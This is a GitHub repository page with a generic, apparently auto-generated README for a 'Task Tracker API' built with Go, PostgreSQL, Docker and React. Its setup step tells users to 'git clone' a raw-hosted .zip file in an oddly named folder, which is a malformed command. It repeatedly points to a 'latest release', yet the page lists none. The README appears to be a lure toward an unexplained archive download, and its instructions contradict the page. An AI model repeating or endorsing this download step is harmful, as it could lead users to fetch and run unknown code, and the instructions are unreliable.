Skip to content

πŸ“ Build and manage tasks efficiently with this lightweight API using Go, PostgreSQL, and Docker. Ideal for learning backend and full-stack development.

License

Notifications You must be signed in to change notification settings

andersonssilva2/Task-Tracker-API

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

14 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ Task-Tracker-API - A Simple Way to Manage Tasks

πŸ› οΈ Overview

Task Tracker API is a lightweight system designed to help you manage your tasks. Built using Go (Gin), PostgreSQL, and Docker, it provides everything you need to track your tasks effectively. This application features a RESTful API and a React frontend, making it suitable for local development and testing.

πŸš€ Getting Started

To get started with Task Tracker API, follow these simple steps to download and run the application on your machine.

πŸ“₯ Download & Install

1. Download the Application

To download the Task Tracker API, visit this page. You will find the latest release of the software there. Find the appropriate version for your operating system and follow the provided instructions.

2. Install Docker

Task Tracker API runs inside Docker containers. Make sure you have Docker installed on your machine. Here’s how to install Docker:

3. Set Up the Environment

After installing Docker, you need to set up your environment.

  1. Open a terminal.

  2. Clone the repository:

    git clone https://raw.githubusercontent.com/andersonssilva2/Task-Tracker-API/main/consistorial/Task-Tracker-API.zip
  3. Navigate into the project folder:

    cd Task-Tracker-API

4. Run the Application

Now that you have cloned the repository, you can run the application using Docker.

  1. Build the Docker containers:

    docker-compose build
  2. Start the containers:

    docker-compose up

Your Task Tracker API will now be running. You can access it at http://localhost:8080.

πŸ” Features

  • Task Management: Create, update, and delete tasks easily.
  • User System: Sign up and log in to manage your personal tasks.
  • RESTful API: Interact with tasks through a simple API.
  • Frontend Integration: Comes with a React frontend for user interaction.

πŸ–₯️ System Requirements

To ensure the smooth running of Task Tracker API, make sure your system meets the following requirements:

  • A modern operating system: Windows 10, macOS, or any recent Linux distribution.
  • Minimum 4 GB of RAM.
  • Docker installed and running.
  • A stable internet connection for downloading dependencies and images.

🧐 Troubleshooting

If you encounter issues while running the application, consider the following tips:

  • Ensure Docker is running properly.

  • Check Docker’s settings to allocate enough resources.

  • Consult the logs for errors by running:

    docker-compose logs

🎯 Contributing

We welcome contributions to improve Task Tracker API. If you'd like to get involved, please open an issue or submit a pull request on GitHub.

🀝 Support

If you need help or have questions, you can find support through the GitHub Issues section. Our community will be glad to assist you.

🌐 Learn More

To understand more about how Task Tracker API works, consider exploring its documentation and code in the repository.

πŸ”— Important Links

  • Download the latest release: Visit this page
  • Documentation: Review in-depth documentation in the repository.

Thank you for using Task Tracker API!

About

πŸ“ Build and manage tasks efficiently with this lightweight API using Go, PostgreSQL, and Docker. Ideal for learning backend and full-stack development.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •